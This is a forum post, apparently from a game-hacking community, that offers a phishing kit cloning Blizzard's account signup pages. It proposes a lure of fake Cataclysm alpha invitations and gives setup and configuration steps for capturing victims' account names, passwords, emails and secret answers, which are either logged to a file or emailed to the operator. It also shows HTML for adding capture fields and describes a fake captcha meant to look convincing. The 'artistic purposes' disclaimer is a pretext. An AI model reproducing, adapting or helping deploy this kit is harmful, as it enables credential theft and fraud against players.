Okay, I'm going to start off by saying sorry for the heavy use of imagery. I had a very clear picture in my mind of how I wanted to get this across, and i'm afriad your just going to have to deal with it!
Total image size for this post is like 1.5mb
Now this my first contribution to MMOwned. So please.. Be gentle.
What you see is a graphical template idea of a website that looks just like the blizzard "new account signup" and "account management" pages. Its not using anything to do with battlenet as there are loads of these about already. I dont have my account linked with battlenet and I think most of the EU dont atall so w.e lets just carry on.
Not only is this a graphical template idea for you to update do as you please which isnt my responsibility, there is a Scamming idea for you to bust out aswell, which again isn't my fault what you do with it. I suggest reading this post before going much further, if you dont know what WoW Cataclysm is already.
WoW.COM - Blizzard Files Trademark for "Cataclysm"
Blizzard files trademark for "Cataclysm"
Now, whether this is true or not, who cares. Its there. Shit loads of people are gunna have read that. So you might blast them with emails saying "congrats chump your chosen for the catalyst alpha tests". Strike whilst the irons hot, right?
Also I hear from the WoW Lore nerds out there that is highly likely to actually be the next expansion? Bleh who cares they're trashing the game anyway. Who knows. You download it, you do what you like with it.
So the graphical template idea is all set up with wording, a pretty convincing logo, new version at page 6, and all other shitz you need to get going, should you wish to use the graphical template idea
Okay enough text. Lets show you what we got:
Cool. So now your interested huh? Or maybe not and you've just hit the back button. You can download the graphical template idea website files by clicking here. The file is 1.5mb because I have included some photoshop source files if you need them for any reason. There IS a readme in the zip document, but I will post some info's here because you'll see just how easy it is to customize.
This is an udated version. See bottom of the thread for details..

Please note that if I see exessive leeching with no thankyou's then ill be taking it off public downloads and you'll have to wait for my lazy ass to send it to you, so don't ruin it for everyone else!
Installation Instructions
- Get yourself a web host which allows PHP. If your having problems problems with anything AIM: z3r0effects or email [email protected]
- Open settings.php, and choose whether you wish to log the information in a text document or have the captured information emailed to you by editing the "$modify" string to:
1 for text log
2 for email
Note: If you have chosen email modify the to address and subject at lines 23 - 24. - Whilst you have settings.php open, you can choose whether you wish to have the "secret questions and answers" section enabled. Change line 14 to 1 for it turned ON and 2 for it to be turned OFF
- Save the modified settings.php
- Upload all files onto your new webhost and enjoy.
Web Form Customization
Customizing the account capture form is simple and easy. All you need to do is copy/paste one of the previous inputs and change the attributes, the code looks like this:
<input name="Account Name" type="text" width="300" taborder=1 class="txtbox required"/>
You will need to modify where it says "Account Name" (highlighted). Change this to anything. For example if you are adding a telephone number box, you would change this to Telephone:
<input name="Telephone" type="text" width="300" taborder=1 class="txtbox required"/>
If you want a required field, leave the "required" part in the class attriube. If not, remove it.
So our new field for telephone that is NOT required would look like:
<input name="Telephone" type="text" width="300" taborder=5 class="txtbox"/>
Once you are done editing, save, upload, test. The script should pickup any new additions automatically and be fired along to the specified email address / be added to the text document.
With regards to the form validation. I have used a jQuery script that I did not write myself but is ideal for this and makes all our lifes easier. By simply giving a form input a class of "required", the javascript does the rest. Documention on this for help with select boxes, radiobuttons, etc can be found by clicking here.
Further Customization
So basically you can do whatever you like to this. All you need is a basic HTML editor, and even people with the most basic of HTML knowledge can throw together a, hopefully, very convincing website.
Executable File
This was my first VB program, and it was built as a demo of what it could look like and how it works.
I am not putting this out for free downloads. If you want this, please contact me via PM. Im not really releasing this anymore. But can do on certain.. terms? 6): PM me.

Updates
Newest version for download now includes:
settings.php - Moved all the stuff that needs to be configured to a settings.php file so's that its hopefully a little more structured.
Secret Questions/Answers - You can now turn secret questions/answers off. Some of you requested it some didnt.
Username / Password checking - This will now check the format of the password to ensure it contains letters AND numbers, and that the username is between 3 and 16 character. This WILL NOT test to see if that information actually exists
Confirm emails - If the email in the confirmed box doesn't match that in the email box, it'll let your idiot know that.
Buttons - I've included the source photoshop file for the buttons in the zip, so you can reword them for any future scams you may be doing.
Previous Updates included:
"Choose your method.." - Choose whether you want to have it saved as a text document or have it mailed to you. Useful for those of you on free hosts
"Alpha Key" - The alpha key is now set to be required.
"The Continue Button" - The button is hidden until you match the captcha letters (which are always the same for every person, but it gives the right feel).
This was built for artistic purposes and anything you do with it is not my responsibility.
